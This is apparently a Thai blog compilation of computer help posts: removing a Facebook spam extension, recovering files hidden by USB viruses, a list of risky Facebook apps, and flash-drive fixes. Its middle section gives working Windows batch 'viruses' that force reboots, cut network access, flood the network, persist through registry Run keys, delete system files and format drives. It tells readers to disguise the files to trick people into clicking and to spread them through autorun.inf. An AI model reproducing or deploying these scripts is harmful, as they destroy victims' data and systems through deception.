Facebook Virus + วิธีแก้ไขถ้าติดไวรัสไปแล้ว

Facebook Virus + วิธีแก้ไขถ้าติดไวรัสไปแล้ว

ช่วงนี้เรามักจะเจอไวรัสที่มาในรูปแบบใหม่ๆ แต่ใช้ step เดิม ก็คือ หลอกให้ดูคลิปอะไรสักอย่าง (ส่วนใหญ่จะมีคำโปรยเป็นภาษาอังกฤษ) มีลิงก์ให้กดในรูปของ http://bit.ly หลอกให้เราลง Extension พอลง Extension ที่ว่าปุ๊บ เราก็ติดไวรัสบรึ้มๆๆ ทันที (แถมยังโพสต์ spam ใน wall Facebook) กันให้รึ่มด้วย                ส่วนใหญ่ขั้นตอนก็เป็นราวๆ นี้ แต่มาในชื่อต่างๆ กัน เช่น Sexy Tattoo, Sexy Women, Justin Bieber  ซึ่งจะให้เขียนลงบล็อกทุกครั้งก็คงจะเยอะเกินไป เอาเป็นว่าก็รับรู้ไว้ว่าขั้นตอนมันเป็นแบบนี้นะฮับ ไม่ว่าจะมารูปไหนก็อย่าเผลอคลิกกันไปซะก่อน (ถ้าให้ชัวร์เวลาเจอเพื่อนโพสต์ลิงก์นี้ใน Wall ก็ถามไปเลยว่าแกติดไวรัสหรือเปล่าไรงี้โลด) สำหรับใครที่เผลอลง Extension และโพสต์สแปมระเบิดระเบ้อใน Wall ไปแล้ว ก็มาดูวิธีแก้กันฮับ วิธีแก้ Facebook Virus เหตุที่มาของการโพสต์สแปมของเราบน Facebook เพราะว่าเราเผลอไปคลิกลิงก์ที่มีการให้โหลด Extension อะไรซักอย่างนั่นเอง ซึ่งอีเจ้า Extension นี่ ก็จะดักจับ Facebook Password แล้วคอยโพสต์สแปมโดยที่เราไม่รู้ตัว ดังนั้นเราจึงต้องจัดการลบ Extension ดังกล่าวออก สำหรับ Firefox ไปที่ Tools  Addons  Extensions  หา YouTube Speed UP! แล้วก็จัดการ Remove ซะ สำหรับ Chrome  ไปที่ Tools  Extensions  หา YouTube Speed UP! แล้วก็จัดการ Remove ซะ สร็จแล้วหลังจากนั้นก็อย่าลืมเปลี่ยน Facebook Password ด้วยนะเข้าไปที่ลิงก์ล่างนี้โลด facebook.com/settings?tab=account&section=password

แก้ hidden file ไวรัส shortcut ซ่อนไฟล์

วิธีแก้อาการข้อมูลใน Flash drive หาย(ไวรัสซ่อนไฟล์) 

         หลาย ๆ คนเคยเจออาการที่ว่านี้คือ เมื่อเราเปิดดูข้อมูลใน Flash drive ของเราปรากฏว่างานทุกอย่างที่ใส่ไว้ใน Folder หายหมดเลย ซึ่งเป็นงานที่สำคัญมากๆ ซึ่งเราเพิ่งจะบันทึก หรือ save งานมาจากเครื่องอื่น เมื่อกี้ 

         อาการแบบนี้ไม่ต้องตกใจไปครับให้ สันนิษฐานไว้ก่อนเลยว่าที่เครื่อง หรือ Flash drive เราโดนเจ้าไวรัสซ่อนไฟล์เราไว้ครับ ให้ตรวจสอบดูขนาดพื้นที่ของ Flash Drive ดูครับ ว่ามีการใช้งานแฟลตไดร์หรือเปล่า โดยการ คลิกขวาที่ไดร์นั้น เลือก properties จะปรากฏพื้นที่ของ แฟลตไดร์ ซึ่งถ้าขนาดที่ได้มีการงานแสดงว่าโฟลเดอร์นั้นๆ ของเรา โดนซ่อนไว้ครับ


วิธีแก้มีหลายวิธี ถ้านักคอมพิวเตอร์จะรู้ว่า จะทำอย่างไรให้เห็นไฟล์ที่โดนซ่อน ซึ่งจะต้องไปเปิดให้โชว์ไฟล์ที่ซ่อนใน folder option และการแก้ไขไฟล์ที่โดน hidden ด้วยคำสั่ง dos ซึ่งผมจะไม่ขอกล่าวถึง 

    * ปกติ windows จะมีการซ่อนไฟล์(hidden)ระบบไว้ เพื่อไม่ให้ผู้ใช้งานลบไฟล์ที่สำคัญในการ boot windows


วันนี้ผมมีโปรแกรมสำหรับแก้ไขไฟล์หรือโฟลเดอร์ที่โดนซ่อนจากไวรัส Shortcut หรือ virus อื่น ที่สามารถซ่อนไฟล์(hidden) ได้ เป็นโปรแกรมของทางเวียมนามเค้าครับ
   

คือโปรแกรม FixAttrb.exe
         
 สามารถดาวน์โหลดได้ที่นี่ครับ


 วิธีใช้งานคือ 
1. เปิดโปรแกรมที่ชื่อว่า FixAttrb  ที่ได้ดาวน์โหลดไป

2.คลิกที่ปุ่ม 

3.เลือก Flash drive ที่ต้องการแก้ไฟล์

  และทำการกด OK

4. รอจนกว่า สถานะข้างล่างของโปรแกรมจะหยุดวิ่ง

                  

5. เมื่อแถบสถานะหยุด เสร็จสิ้นขั้นตอนการแก้ไฟล์ ให้ทำการลบไฟล์ที่เป็น chortcut โดยสังเกตได้จากจะมีรูปลูกศรสีขาวที่โฟลเดอร์ หรือเมื่อเรานำเมาส์มาวางเหนือโฟล์เดอร์นั้นๆ จะประกฎคำว่า  
   Location: ..ตามด้วยข้อมูลต่อท้าย เช่น Location: c:/windows หรือ  Location: F:/ ดังรูปด้านล่าง

 * เมื่อเรานำเมาส์วางเหนือโฟลเดอร์นั้นๆ แล้วปรากฏขนาดพื้นที่ของไฟล์นั้น แสดงว่าคือโฟลเดอร์จริง 

credit http://tipsinter4you.blogspotcom

Facebook Application อันตราย

เว็บไซต์ facerocks ซึ่งรายงานข่าวด้านความปลอดภัยของ  facebook    ได้รวบรวมรายชื่อ Facebook Application ที่ ถูกขึ้นเป็นแอพบัญชีดำ  เนื่องจากแอพพลิเคชั่นเหล่านี้ อาจจะสร้างความก่อกวนแก่ตัวเราเอง และเพื่อนๆ บน facebook  รวมไปถึงอาจถูกขโมยข้อมูลส่วนตัว และปล่อยไวรัสมัลแวร์กระจายต่างๆทาง facebook ได้ด้วย

สำหรับ รายชื่อแอพพลิเคชั่นอันตรายบน facebook ที่ทางเว็บไซต์ Facerocksได้ประกาศเตือนขึ้นไว้เป็นบัญชีดำ ได้แก่

Are YOU Interested?

Get Revealed

Friends Secrets

ily or not

Would you rather

My Friend Secrets

Question Party

Friend Ville

friend.ly

tinychat

WAYN – Map Your Friends

Friends Photos

Daily Mood

21 Questions

love

21QUIZ12

Questions

THE FRIEND FIGHTING QUIZ

Best Looking Contest, etc.

tag friends <3

Best Friends

Are you my best friend ???

Truth Quiz

What Colour Are You!!!

Truths About You

ทั้งนี้  หากผู้ใช้เฟซบุ๊กพบแอพพลิเคชั่นเหล่านี้ให้ทำการลบออกทันทีโดยด่วนโดยเข้าไปตั้งค่าทางลิงค์นี้   http://www.facebook.com/settings/?tab=applications  เพื่อความปลอดภัยต่อตัวบัญชี facebook ของเรา  รวมทั้ง Facebook เพื่อนๆ ด้วย

รวมวิธีสร้างไวรัส (อันตราย)

 -r -f -t 0
ถ้าจะสร้างไวรัสrestart
@echo off
TITLE Mr_Unlocker
shutdown -r -t 01
ถ้าจะสร้างไวรัสlogoff
วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
********************************************************************************
************
ไวรัส # 2 ตัดการเชื่อมต่ออินเตอร์เน็ต/เน็ตเวิร์ก
อันนี้แรงขึ้นมาหน่อย จะตัดการทำงานของอินเตอร์เน็ต

@echo off
TITLE Mr_Unlocker
ipconfig /release

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
********************************************************************************
************
Virus#3 Combo Virus
ตัวนี้จะมีความต่อเนื่องจากสองตัวข้างบน คือ เมื่อคลิกแล้ว จะทำ flood network และการทำงานจะวน loop จนเน็ตเวิร์กเดี้ยง

@echo off
TITLE Mr_Unlocker :CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
==============================
*ต่อไปนี้จะเป็นไวรัสที่สร้างความรุนแรงจริงๆนะครับ อย่าเผลอลองเชียว
Virus#4 Disble IP Address
โดนตัวนี้เข้าไปก็อย่าหวังเลยว่าจะเข้าอินเตอร์เน็ตได้อีก - -'

@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Unlocker Hackers Strike Again
PAUSE

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
=============================================
Virus#5 สั่งปิดเครื่องทุกๆครั้งที่เปิดจนถึง 5 วินาที (เปิดแล้วก็ปิดอยู่อย่างนั้น)

@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 5 >>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Unlocker Hackers Strike Again
PAUSE

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
Virus#6 Delete Windows

@echo off
@echo I''m YoYo I''ll hack your computer
@echo.
@del C:\w indows\system32\hal.dll
@shutdown -s
วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามสกุล .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
=============================================
Virus#7 สั่ง Format ทุกไดร์ฟ

@echo off
ping ***.***.***.***
format c:
y
format d:
y
format e:
y
shutdown -r -f -t 10
วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ต้องทำเป็น .bat แล้วใช้  .batto.exe เปลี่ยนไอคอน เป็น ไอคอนต่างๆ
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***
=============================================
Virus#8
Delete ทั้งวินโดวส์

@echo What's Up I'm Virus And I'll Hack your computer
@echo off
@del C:\windows
@shutdown -s
วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ต้องทำเป็น .bat แล้วใช้  .batto.exe เปลี่ยนไอคอน เป็น ไอคอนต่างๆ
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***


##########################################################

่เสียบไดรฟ์ เปิด Notepad แล้วพิมดังนี้ [AUTORUN] OPEN = ตัวโปรแกรมไวรัสที่อยากไห้รัน ไส่นามสกุลด้วยนะ ICON = ไฟล์ไอคอน .ICO เลือกอย่างไดอย่างหนึ่งก็ได้ บันทึกแล้วตั้งชื่อว่า autorun.inf เซพไว้ที่เพลชไดรฟ์ที่เราเก็บไวรัส ทีนี้เราก็เอาไปแพร๋กระจายได้

##########################################################


ไฟล์นี้ มีไว้สำหรับทดสอบโปรแกรม Anti-virus ของคุณ เป็นความรู้ไว้เท่านั้นนะ
ทำตามขั้นตอนด้านล่างเลย
1.เปิดโปรแกรม notepad
2.ก็อปตัวนี้ลงไป>> X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 
3.กด save 
4.ปิดโปรแกรม
5.กดที่ไฟล์ 1 ครั้งแล้วกด F2 
6.เปลี่ยนชื่อเป็น virus
7.เปลี่ยน .txt เป็น .com 
8.กด Enter
9.เรียบร้อย มันก็จะเริ่มทำงานถ้า โปรแกรม Anti-virus ของคุณดีพอมันก็จะตรวจเจอ




แต่ถ้าตรวจไม่เจอเปลี่ยนโปรแกรมเลยคับ

Flash Memory toolkit

ฟังชั่นการทำงานครบสูตรมันนี่หล่ะครับ

- ที่ทั้ง scan error

- ลบไฟล์แบบ กู้ไม่ได้

- กู้ไฟล์

- backup ข้อมูล

- และวัดความเร็ว ในการ tranfer การเขียนอ่าน ออกมาเป็นกราฟเข้าไจได้

คุณอาจเอาไป วัดประสิทธิภาพของแต่ล่ะ รุ่น แต่ล่ะยี่ห้อ ก่อนเลือกซื้อได้เลย

Flash Memory toolkit

ดาว์นโหลด Flach Memory Toolkit 1.20

ดาว์นโหลดFlash Memory toolkit 2.0

รวมวิธีแก้ปัญหา flash drive MMC SD Card 4

ลองcheckdrive ดูก่อนครับ โดยไปที run พิม cmd 
จากนั้นก็พิม chkdsk (driveที่ต้องการเช็ค: ) /F เช่น chkdsk G: /F แล้วลองลบดูใหม่ครับว่าได้มั้ย ถ้ายังไม่ก็ต่อไป 2.ใช้ตัวนี้ครับ http://www.apacer.com/en/support/downloads/Repair_v2.9.1.1.zip

รวมวิธีแก้ปัญหา flash drive MMC SD Card 3

มีวิธีเช่นกันเพิ่งได้มาสดๆ เพราะลองอ่านในกระทู้ดู ทีแรกผมก็ก๊อบเพลงลงไม่ได้ แล้วผมก็เลยชัก memmory mini ออก แต่ MMC ต้องเสียบคาคอมไว้นะครับ แล้วก็เสียบ memmory เข้าไปใหม่ ทีนี้ก็ก๊อบได้ละครับ ง่ายมากๆวิธีนี้ ผมลองทำมาหลายรอบแล้ว เพราะถ้าชักออก MMC ออกไปมันก็ติด อีก ผมก็ทำวิธีนี้ดูใช้ได้ตลอดเลย ผมมีวิธีแก้ write protec แบบฝืดๆ มานำเสนอ( ไม่น่าเชื่อว่าจะแก้ได้ )
  เมื่อเราเสียบการ์ดหน่วยความจำเอาใว้กับตัวอ่านการ์ดลีดเดอร์ แล้วเจอ write protec ขึ้นมา มีวิธีง่ายๆ ตามขั้นตอนดังนี้ 
1.ใส่เมมกลับเข้าเครื่อง เปิดเครื่อง
 2.ให้เราไปสั่งปิดพวก Theme หรือโปรแกรมบางชนิดที่เราใช้งานอยู่ ทั้งหมด
 3.ให้เรา เข้าไปที่หมวดพวกเครื่องบันทึก พวก กล้อง หรือ เครื่องอัดเสียงก็ได้ 
4.เมื่อเข้าไปที่หมวดกล้องแล้ว ให้เรา ถ่ายรูป เล่นๆ สัก 3-4 รูป 
5.ปิดเครื่อง แล้วถอดเมมออกมา แล้วลองก๊อบข้อมูลหรือทำอย่างอื่นดู ผมเจอมากับตัว เมื่อไม่นานมานี้ กับ N73 ของน้องสาวผมที่เพิ่งซื้อเครื่องมา ทีแรกผมว่า จะเอาไปเคลมแล้ว แต่ก่อนเคลมผมเลยหยิบเอามาลองเล่นๆ เพราะ ถ้ามัน write protec แล้ว มันจะต้องเขียนข้อมูลลงเมม หรือก๊อบข้อมูลไม่ได้แน่นอน
ผมเลยลองเอาเครื่องมาถ่ายรูปเล่นๆ ดู เห็นมันก็บันทึกข้อมูลได้ ผมเลยปิดเครื่องแล้ว ดึงเมมออกมาทันที ตกลงจนถึงตอนนี้ สามารถใช้งานได้ปกติดี ( N80 ของผมก็เป็น ก็ลองวิธีนี้ ก็หายเหมือนกัน ) ผมเดานะ มันน่าจะเกิดจากการที่ว่า Memory Card ถูกใช้งานอยู่ แน่นอน มันจะมีค่าดัชนีบางอย่างอยู่ในการ์ด ทำให้เรา ไม่สามารถทำการเปลี่ยนแปลงข้อมูลได้ ผมเลยลองปิดทุกอย่างรวมทั้ง Theme และอื่นๆ ตกลง มันก็ใช้ได้แบบปกติดี
 ( วิธีนี้ เป็นวิธีฝืดๆ เคยทำมาแล้ว 3 ครั้ง ได้ผลมา 3 ครั้ง ว่างๆ ก็ลองบ้างก็ได้นะครับ ไม่เสียหาย )